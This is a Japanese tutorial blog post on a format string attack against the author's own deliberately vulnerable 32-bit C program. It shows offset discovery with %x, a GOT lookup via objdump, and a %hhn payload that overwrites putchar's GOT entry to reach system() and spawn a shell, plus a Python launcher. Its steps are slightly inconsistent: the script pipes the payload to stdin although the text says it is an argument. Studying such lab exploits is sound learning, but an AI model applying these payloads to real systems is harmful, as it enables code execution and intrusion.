Format String AttackでGOTを上書きしてみた
こんにちは。今回はFormat String AttackでGOTを上書きすることによって、プログラムの通常動作では行われないsystem関数を呼び出してみたいと思います。
今回の環境
Ubuntu 14.04 TLS 32bit コンパイル方法 gcc -z execstack foramt_vuln.c -o format_vuln
今回使用するプログラム
このプログラムは引数に任意の値をとれ、その引数がprintfの書式引数にそのまま渡っているためFormat String Attackの脆弱性があります。またkeyの値は通常は1であるので、通常動作ではsystem関数は実行されない。
まず初めにFormat String Attackとはどんな脆弱性なのか?
printf()やsyslog()等のライブラリの書式編集機能を悪用し、実行中のプログラムのメモリを読めたり、書き換えたりできる脆弱性です。
実際にGOTを書き換えてみる。
ここから本題です。GOTをsystem関数の関数実行直前に書き換え!key(cmp)の比較する部分を迂回するというのが、今回の目標です。
まず適当に複数の%xを引数にとり、どこにbufの先頭があるかを調べます。
$ ./format_vuln 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x' AAAAbfdfc368.64.bfdfc0b4.bfdfc054.1.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78
出力からbufの先頭のオフセットは6ということがわかった。
次にGOTの書き換えたいアドレスを保持しているアドレスを見つける。
$ objdump -D ./format_vuln |grep "@plt>:" -A1 08048390 <printf@plt>: 8048390: ff 25 0c a0 04 08 jmp *0x804a00c -- 080483a0 <puts@plt>: 80483a0: ff 25 10 a0 04 08 jmp *0x804a010 -- 080483b0 <system@plt>: 80483b0: ff 25 14 a0 04 08 jmp *0x804a014 -- 080483c0 <__gmon_start__@plt>: 80483c0: ff 25 18 a0 04 08 jmp *0x804a018 -- 080483d0 <exit@plt>: 80483d0: ff 25 1c a0 04 08 jmp *0x804a01c -- 080483e0 <__libc_start_main@plt>: 80483e0: ff 25 20 a0 04 08 jmp *0x804a020 -- 080483f0 <putchar@plt>: 80483f0: ff 25 24 a0 04 08 jmp *0x804a024 -- 08048400 <strncpy@plt>: 8048400: ff 25 28 a0 04 08 jmp *0x804a028
この結果からputcharのGOTアドレスを書き換えれば、 putcharが呼ばれた際に書き換えた値にjumpすることが可能になる。
結果
'\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa0\x04\x08\x27\xa0\x04\x08%127c%6$hhn%246c%7$hhn%127c%8$hhn%4c%9$hhn’を引数にとるとputcharのアドレスを比較を迂回する丁度良い位置(今回の場合は0x804858f)jumpができshellを起動できる。
実際に上の引数を取り、format_vulnを実行するコードを書いてみる。
#format.py from subprocess import Popen,PIPE buf='\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa0\x04\x08\x27\xa0\x04\x08%127c%6$hhn%246c%7$hhn%127c%8$hhn%4c%9$hhn' p = Popen('./format_vuln',stdin=PIPE) p.stdin.write(buf)
このコードを実行してみる。
$python format.py pugichan@ubuntu:~/FORMAT$ Invalid argument number uname -a Linux ubuntu 3.16.0-34-generic #45~14.04.1-Ubuntu SMP Tue Mar 24 11:13:52 UTC 2015 i686 i686 i686 GNU/Linux
shellが起動できコマンドが実行できていることがわかる。